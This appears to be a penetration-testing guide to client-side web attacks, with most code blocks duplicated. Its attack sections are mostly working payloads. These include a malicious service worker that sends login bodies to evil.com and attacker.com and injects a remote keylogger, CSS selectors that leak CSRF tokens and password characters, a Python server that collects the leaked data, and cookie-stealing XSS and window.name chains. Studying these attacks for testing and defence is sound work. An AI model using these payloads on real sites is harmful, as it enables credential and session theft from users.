Client-Side Attacks
Beyond traditional XSS — advanced browser-side attack techniques targeting the DOM, Window APIs, service workers, CSS parsing, and cross-origin communication mechanisms.
Why Client-Side Attacks Matter
Modern SPAs shift logic to the browser. DOM manipulation, cross-origin messaging, and browser APIs create attack surfaces that server-side WAFs cannot see. These attacks bypass traditional protections and are frequently overlooked in penetration tests.
🛠️ Tools
DOM Invader (Burp)
Browser extension for DOM-based vuln testing
PPScan
Prototype pollution scanner
postMessage-tracker
Chrome extension to intercept postMessages
Service Worker Detector
Chrome extension to detect SWs on pages
Browser DevTools
Application → Service Workers, Storage, Frames
CSSInjection
CSS exfiltration payload generator
1. DOM Clobbering
DOM clobbering uses HTML elements to overwrite JavaScript variables and DOM properties. Named elements
(id and name attributes) are automatically registered as properties on the
window object and document.
Warning
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
// Developer expects 'config' to be a JS object
let url = window.config?.baseUrl || '/default';
fetch(url + '/api/data');
</script>
<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
window.config.href = "https://evil.com"
If code accesses window.config.href, it's clobbered -->
<!-- Deeper clobbering with form + input -->
<form id="config">
<input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->
<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect --><!-- Target code pattern vulnerable to DOM clobbering -->
<script>
// Developer expects 'config' to be a JS object
let url = window.config?.baseUrl || '/default';
fetch(url + '/api/data');
</script>
<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
window.config.href = "https://evil.com"
If code accesses window.config.href, it's clobbered -->
<!-- Deeper clobbering with form + input -->
<form id="config">
<input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->
<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect -->Detection Approach
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized
// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
const src = s.textContent;
const patterns = [
/window.(w+)s*(?.|&&|||)/g,
/document.w+s*||/g,
];
patterns.forEach(p => {
let match;
while ((match = p.exec(src)) !== null) {
console.log('Potential clobbering target:', match[0]);
}
});
});// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized
// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
const src = s.textContent;
const patterns = [
/window.(w+)s*(?.|&&|||)/g,
/document.w+s*||/g,
];
patterns.forEach(p => {
let match;
while ((match = p.exec(src)) !== null) {
console.log('Potential clobbering target:', match[0]);
}
});
});2. postMessage Abuse
window.postMessage() enables cross-origin communication between windows. Vulnerabilities arise
when the receiver doesn't validate the message origin, or when the sender targets "*".
<!-- VULNERABLE receiver: no origin check -->
<script>
window.addEventListener('message', function(event) {
// ❌ No origin validation!
document.getElementById('output').innerHTML = event.data.html;
// Or: eval(event.data.code);
// Or: window.location = event.data.redirect;
});
</script>
<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
const target = document.getElementById('target');
target.onload = function() {
// XSS via postMessage
target.contentWindow.postMessage({
html: '<img src=x onerror=alert(document.domain)>'
}, '*');
// Or redirect to phishing
target.contentWindow.postMessage({
redirect: 'https://evil.com/phish'
}, '*');
};
</script><!-- VULNERABLE receiver: no origin check -->
<script>
window.addEventListener('message', function(event) {
// ❌ No origin validation!
document.getElementById('output').innerHTML = event.data.html;
// Or: eval(event.data.code);
// Or: window.location = event.data.redirect;
});
</script>
<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
const target = document.getElementById('target');
target.onload = function() {
// XSS via postMessage
target.contentWindow.postMessage({
html: '<img src=x onerror=alert(document.domain)>'
}, '*');
// Or redirect to phishing
target.contentWindow.postMessage({
redirect: 'https://evil.com/phish'
}, '*');
};
</script>Finding postMessage Listeners
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message
// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"
// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
if (type === 'message') {
console.log('Message listener registered:', listener.toString().substring(0, 200));
console.trace();
}
return originalAddEventListener.call(this, type, listener, options);
};
// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message
// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"
// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
if (type === 'message') {
console.log('Message listener registered:', listener.toString().substring(0, 200));
console.trace();
}
return originalAddEventListener.call(this, type, listener, options);
};
// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data3. Prototype Pollution
Prototype pollution allows attackers to inject properties into JavaScript object prototypes, affecting all objects in the application. This can lead to XSS, auth bypass, or DoS.
// Vulnerable merge/extend function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!
// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)
// Common gadgets:
// - jQuery: __proto__[jquery]=x
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script>// Vulnerable merge/extend function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!
// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)
// Common gadgets:
// - jQuery: __proto__[jquery]=x
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script># PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"
# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted
# ?__proto__.test=polluted
# Then check in console:
# ({}).test === "polluted" → Vulnerable!
# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently# PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"
# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted
# ?__proto__.test=polluted
# Then check in console:
# ({}).test === "polluted" → Vulnerable!
# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently4. Service Worker Attacks
Service workers are powerful scripts that intercept network requests, cache responses, and run in the background. A malicious service worker persists across page reloads and browser restarts.
Danger
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)
// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
const url = new URL(event.request.url);
// Intercept login requests → steal credentials
if (url.pathname === '/api/login') {
event.respondWith(
event.request.clone().text().then(body => {
// Exfiltrate credentials
fetch('https://evil.com/log', {
method: 'POST',
body: body,
mode: 'no-cors'
});
return fetch(event.request); // Forward original request
})
);
return;
}
// Inject script into HTML responses
if (event.request.headers.get('accept')?.includes('text/html')) {
event.respondWith(
fetch(event.request).then(response => {
return response.text().then(html => {
const modified = html.replace('</body>',
'<script src="https://evil.com/keylogger.js"></script></body>');
return new Response(modified, {
headers: response.headers
});
});
})
);
return;
}
event.respondWith(fetch(event.request));
});
// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)
// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
const url = new URL(event.request.url);
// Intercept login requests → steal credentials
if (url.pathname === '/api/login') {
event.respondWith(
event.request.clone().text().then(body => {
// Exfiltrate credentials
fetch('https://evil.com/log', {
method: 'POST',
body: body,
mode: 'no-cors'
});
return fetch(event.request); // Forward original request
})
);
return;
}
// Inject script into HTML responses
if (event.request.headers.get('accept')?.includes('text/html')) {
event.respondWith(
fetch(event.request).then(response => {
return response.text().then(html => {
const modified = html.replace('</body>',
'<script src="https://evil.com/keylogger.js"></script></body>');
return new Response(modified, {
headers: response.headers
});
});
})
);
return;
}
event.respondWith(fetch(event.request));
});
// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})Audit Existing Service Workers
// DevTools → Application → Service Workers
// Check: scope, source URL, status
// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(r => {
console.log('SW Scope:', r.scope);
console.log('SW Script:', r.active?.scriptURL);
console.log('SW State:', r.active?.state);
});
});
// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)// DevTools → Application → Service Workers
// Check: scope, source URL, status
// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(r => {
console.log('SW Scope:', r.scope);
console.log('SW Script:', r.active?.scriptURL);
console.log('SW State:', r.active?.state);
});
});
// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)5. CSS Injection & Exfiltration
When an attacker can inject arbitrary CSS (via style attributes, <style> tags, or CSS imports), they can exfiltrate sensitive data from the page — including CSRF tokens, email addresses, and more.
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */
input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */
/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */
/* Data exfiltration via @font-face unicode-range */
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=A);
unicode-range: U+0041; /* 'A' */
}
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=B);
unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }
/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */
input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */
/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */
/* Data exfiltration via @font-face unicode-range */
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=A);
unicode-range: U+0041; /* 'A' */
}
@font-face {
font-family: "leak";
src: url(https://evil.com/leak?char=B);
unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }
/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class LeakHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if params:
print(f"[LEAK] {params}")
with open('exfiltrated.txt', 'a') as f:
f.write(f"{params}\n")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass # Suppress default logging
HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class LeakHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if params:
print(f"[LEAK] {params}")
with open('exfiltrated.txt', 'a') as f:
f.write(f"{params}\n")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass # Suppress default logging
HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()6. Web Worker & SharedArrayBuffer Attacks
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug
// From XSS, create an inline worker:
const code = `
// Runs in worker context — no DOM access but can make requests
setInterval(() => {
fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
}, 30000);
// Crypto mining in worker (CPU abuse)
// Or use for distributed scanning
self.onmessage = function(e) {
// Receive commands from the main thread
if (e.data.type === 'scan') {
fetch(e.data.url).then(r => r.text()).then(html => {
self.postMessage({url: e.data.url, html: html});
});
}
};
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));
// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
// Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug
// From XSS, create an inline worker:
const code = `
// Runs in worker context — no DOM access but can make requests
setInterval(() => {
fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
}, 30000);
// Crypto mining in worker (CPU abuse)
// Or use for distributed scanning
self.onmessage = function(e) {
// Receive commands from the main thread
if (e.data.type === 'scan') {
fetch(e.data.url).then(r => r.text()).then(html => {
self.postMessage({url: e.data.url, html: html});
});
}
};
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));
// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
// Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre🛡️ Remediation & Defense
Defensive Measures
DOM Clobbering Prevention
- • Use
Object.create(null)for config objects - • Avoid relying on named DOM property access
- • Use
hasOwnProperty()checks - • Use DOMPurify with
SANITIZE_NAMED_PROPS
postMessage Hardening
- • Always validate
event.origin - • Never use
"*"as targetOrigin - • Validate and sanitize
event.data - • Use structured clone for complex data
Prototype Pollution Prevention
- • Validate/reject
__proto__,constructor,prototypekeys - • Use
Object.freeze(Object.prototype) - • Use Map instead of plain objects for user data
- • Use schema validation (Joi, Zod) on input
Service Worker & CSS Controls
- • Restrict SW registration scope via
Service-Worker-Allowed - • Limit file upload paths to non-executable directories
- • Strict CSP:
style-src 'self'(no'unsafe-inline') - • Set COOP/COEP headers to isolate origins
CWE References: CWE-79 (XSS), CWE-1321 (Prototype Pollution), CWE-345 (Insufficient Verification of Data Authenticity), CWE-940 (Improper Verification of Source of a Communication Channel)
✅ Client-Side Testing Checklist
- ☐ Test DOM clobbering on global vars
- ☐ Check prototype pollution via params
- ☐ Audit postMessage listeners (origin check)
- ☐ Test postMessage with malicious data
- ☐ Enumerate service workers
- ☐ Check SW scope and source paths
- ☐ Test SW registration from XSS
- ☐ Inspect web worker usage
- ☐ Test SW importScripts poisoning
- ☐ Test CSS injection for data leak
- ☐ Check for CSS import injection
- ☐ Verify CSP blocks inline styles
- ☐ Test font-face exfiltration
- ☐ Test localStorage/sessionStorage poisoning
- ☐ Test IndexedDB data theft
- ☐ Test window.name cross-origin data
🔬 Advanced Client-Side Techniques
localStorage / sessionStorage Poisoning
Web Storage APIs are same-origin but data stored there is often rendered without sanitization, creating persistent XSS vectors:
// Storage-based XSS: if app reads from storage and renders without sanitization
// Poison storage via XSS, then the payload persists across page loads
// Step 1: Identify storage usage
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
console.log(key, ':', localStorage.getItem(key));
}
// Step 2: Find keys whose values are rendered in the DOM
// Look for patterns like: document.getElementById('name').innerHTML = localStorage.getItem('username')
// Step 3: Poison storage with XSS payload
localStorage.setItem('username', '<img src=x onerror=fetch("https://attacker.com/c?d="+document.cookie)>');
localStorage.setItem('theme', '"><script>alert(document.domain)</script>');
localStorage.setItem('lang', 'en</option><script>alert(1)</script>');
// Storage quota attack — fill up storage to cause app errors
// localStorage has ~5-10MB limit per origin
const largeData = 'A'.repeat(1024 * 1024); // 1MB string
try {
for (let i = 0; i < 10; i++) {
localStorage.setItem('flood_' + i, largeData);
}
} catch(e) {
console.log('Storage full - app may fail:', e);
}
// sessionStorage poisoning via window.open
// Parent can write to child's sessionStorage if same origin
const child = window.open('https://target.com/dashboard');
child.sessionStorage.setItem('token', 'attacker_controlled_token');// Storage-based XSS: if app reads from storage and renders without sanitization
// Poison storage via XSS, then the payload persists across page loads
// Step 1: Identify storage usage
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
console.log(key, ':', localStorage.getItem(key));
}
// Step 2: Find keys whose values are rendered in the DOM
// Look for patterns like: document.getElementById('name').innerHTML = localStorage.getItem('username')
// Step 3: Poison storage with XSS payload
localStorage.setItem('username', '<img src=x onerror=fetch("https://attacker.com/c?d="+document.cookie)>');
localStorage.setItem('theme', '"><script>alert(document.domain)</script>');
localStorage.setItem('lang', 'en</option><script>alert(1)</script>');
// Storage quota attack — fill up storage to cause app errors
// localStorage has ~5-10MB limit per origin
const largeData = 'A'.repeat(1024 * 1024); // 1MB string
try {
for (let i = 0; i < 10; i++) {
localStorage.setItem('flood_' + i, largeData);
}
} catch(e) {
console.log('Storage full - app may fail:', e);
}
// sessionStorage poisoning via window.open
// Parent can write to child's sessionStorage if same origin
const child = window.open('https://target.com/dashboard');
child.sessionStorage.setItem('token', 'attacker_controlled_token');IndexedDB Attacks
IndexedDB stores structured data client-side. Applications using it for caching, offline storage, or session data may be vulnerable:
// Enumerate all IndexedDB databases (Chrome/Edge)
const databases = await indexedDB.databases();
console.log('Databases:', databases);
// Open and dump a database
const request = indexedDB.open('appDatabase', 1);
request.onsuccess = (event) => {
const db = event.target.result;
console.log('Object stores:', Array.from(db.objectStoreNames));
// Dump all data from each store
for (const storeName of db.objectStoreNames) {
const tx = db.transaction(storeName, 'readonly');
const store = tx.objectStore(storeName);
store.getAll().onsuccess = (e) => {
console.log(storeName, ':', JSON.stringify(e.target.result));
// Look for: tokens, user data, cached API responses, encryption keys
};
}
};
// IndexedDB injection — modify cached data
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
store.put({
id: 1,
name: '<img src=x onerror=alert(1)>', // XSS if rendered unsanitized
role: 'admin' // Privilege escalation if app trusts cached role
});
// IndexedDB persistence — survive cookie/storage clearing
// Some apps clear cookies but forget IndexedDB
// Useful for maintaining XSS persistence across "logout"// Enumerate all IndexedDB databases (Chrome/Edge)
const databases = await indexedDB.databases();
console.log('Databases:', databases);
// Open and dump a database
const request = indexedDB.open('appDatabase', 1);
request.onsuccess = (event) => {
const db = event.target.result;
console.log('Object stores:', Array.from(db.objectStoreNames));
// Dump all data from each store
for (const storeName of db.objectStoreNames) {
const tx = db.transaction(storeName, 'readonly');
const store = tx.objectStore(storeName);
store.getAll().onsuccess = (e) => {
console.log(storeName, ':', JSON.stringify(e.target.result));
// Look for: tokens, user data, cached API responses, encryption keys
};
}
};
// IndexedDB injection — modify cached data
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
store.put({
id: 1,
name: '<img src=x onerror=alert(1)>', // XSS if rendered unsanitized
role: 'admin' // Privilege escalation if app trusts cached role
});
// IndexedDB persistence — survive cookie/storage clearing
// Some apps clear cookies but forget IndexedDB
// Useful for maintaining XSS persistence across "logout"Service Worker Hijacking Deep Dive
// Service Worker scope takeover
// SW scope is determined by the script's location
// /app/sw.js controls /app/* but if you can register at /sw.js, you control /*
// Check existing service worker registrations
navigator.serviceWorker.getRegistrations().then(registrations => {
registrations.forEach(reg => {
console.log('Scope:', reg.scope);
console.log('Script:', reg.active?.scriptURL);
console.log('State:', reg.active?.state);
});
});
// importScripts poisoning — if the SW loads external scripts
// Inside a hijacked SW:
// importScripts('https://attacker.com/malicious-sw-module.js');
// The imported script runs in the SW context with full intercept capability
// Foreign fetch exploitation (Chrome only, now deprecated but check for it)
// A third-party SW that intercepts fetch requests to its origin
// If the third-party origin is compromised, all requests are intercepted
// Update mechanism abuse
// Force SW update by manipulating byte-for-byte comparison
// If you can modify even 1 byte of the SW script (via cache poisoning),
// the browser will treat it as an update and install the new version
// SW-based credential theft
self.addEventListener('fetch', event => {
const url = new URL(event.request.url);
if (url.pathname === '/login') {
// Clone the request to read the body (contains credentials)
event.request.clone().text().then(body => {
fetch('https://attacker.com/creds', {
method: 'POST', body: body, mode: 'no-cors'
});
});
}
event.respondWith(fetch(event.request)); // Forward normally
});// Service Worker scope takeover
// SW scope is determined by the script's location
// /app/sw.js controls /app/* but if you can register at /sw.js, you control /*
// Check existing service worker registrations
navigator.serviceWorker.getRegistrations().then(registrations => {
registrations.forEach(reg => {
console.log('Scope:', reg.scope);
console.log('Script:', reg.active?.scriptURL);
console.log('State:', reg.active?.state);
});
});
// importScripts poisoning — if the SW loads external scripts
// Inside a hijacked SW:
// importScripts('https://attacker.com/malicious-sw-module.js');
// The imported script runs in the SW context with full intercept capability
// Foreign fetch exploitation (Chrome only, now deprecated but check for it)
// A third-party SW that intercepts fetch requests to its origin
// If the third-party origin is compromised, all requests are intercepted
// Update mechanism abuse
// Force SW update by manipulating byte-for-byte comparison
// If you can modify even 1 byte of the SW script (via cache poisoning),
// the browser will treat it as an update and install the new version
// SW-based credential theft
self.addEventListener('fetch', event => {
const url = new URL(event.request.url);
if (url.pathname === '/login') {
// Clone the request to read the body (contains credentials)
event.request.clone().text().then(body => {
fetch('https://attacker.com/creds', {
method: 'POST', body: body, mode: 'no-cors'
});
});
}
event.respondWith(fetch(event.request)); // Forward normally
});window.name Cross-Origin Data Channel
window.name persists across navigations to different origins, making it a stealthy cross-origin data channel:
// window.name persists when navigating cross-origin
// Attack: Set window.name on target site (via XSS), then navigate to attacker's site
// On target site (via XSS or injection):
window.name = document.cookie + '|' + document.body.innerHTML;
window.location = 'https://attacker.com/collect.html';
// On attacker.com/collect.html:
// window.name still contains the target site's data!
document.write('Stolen: ' + window.name);
fetch('/log', { method: 'POST', body: window.name });
// Two-step data theft (no XSS needed, just open redirect):
// 1. Create page on attacker.com that opens target in iframe
// <iframe id="f" src="https://target.com/page-with-data-in-window-name"></iframe>
// 2. After load, redirect iframe to same-origin page to read window.name
// document.getElementById('f').src = 'https://attacker.com/reader.html';
// 3. reader.html reads parent.frames[0].name (now same-origin)
// Defense check: Does the app ever use window.name?
// Look for: window.name assignments, top.name reads, opener.name access
console.log('window.name:', window.name);
console.log('Length:', window.name.length); // Non-zero = potentially exploitable// window.name persists when navigating cross-origin
// Attack: Set window.name on target site (via XSS), then navigate to attacker's site
// On target site (via XSS or injection):
window.name = document.cookie + '|' + document.body.innerHTML;
window.location = 'https://attacker.com/collect.html';
// On attacker.com/collect.html:
// window.name still contains the target site's data!
document.write('Stolen: ' + window.name);
fetch('/log', { method: 'POST', body: window.name });
// Two-step data theft (no XSS needed, just open redirect):
// 1. Create page on attacker.com that opens target in iframe
// <iframe id="f" src="https://target.com/page-with-data-in-window-name"></iframe>
// 2. After load, redirect iframe to same-origin page to read window.name
// document.getElementById('f').src = 'https://attacker.com/reader.html';
// 3. reader.html reads parent.frames[0].name (now same-origin)
// Defense check: Does the app ever use window.name?
// Look for: window.name assignments, top.name reads, opener.name access
console.log('window.name:', window.name);
console.log('Length:', window.name.length); // Non-zero = potentially exploitableEvidence Collection
DOM Manipulation Proof: Capture the DOM clobbering or DOM-based attack showing the manipulated element/property and its impact — use browser DevTools screenshots showing before/after states.
postMessage Exploitation: Record the cross-origin message payload, the missing origin check in the event handler, and the resulting unauthorized action (XSS, data leak, state change).
Storage Access: Document sensitive data found in localStorage/sessionStorage along with the access method — demonstrate that an XSS or same-origin attacker can read authentication tokens or PII.
Service Worker Hijack: If a service worker can be registered from an attacker-controlled path, capture the registration scope, the malicious worker code, and the intercepted requests.
CVSS Range: 4.3 (client-side information disclosure) – 8.8 (DOM-based attack leading to account takeover via token theft)
False Positive Identification
- Same-Origin Requirement: Many client-side attacks require existing XSS or same-origin code execution — if no injection point exists, the client-side vector is theoretical only.
- HttpOnly Cookies: If session tokens use HttpOnly and are not stored in localStorage, DOM-based token theft is not possible — verify the actual cookie flags.
- Origin Validation Present: postMessage handlers that properly check event.origin against an allowlist are not vulnerable even if they process external messages — review the actual handler code.
- Non-Sensitive Storage: Data in localStorage that is purely cosmetic (theme preferences, UI state) does not constitute a security finding even if accessible cross-tab.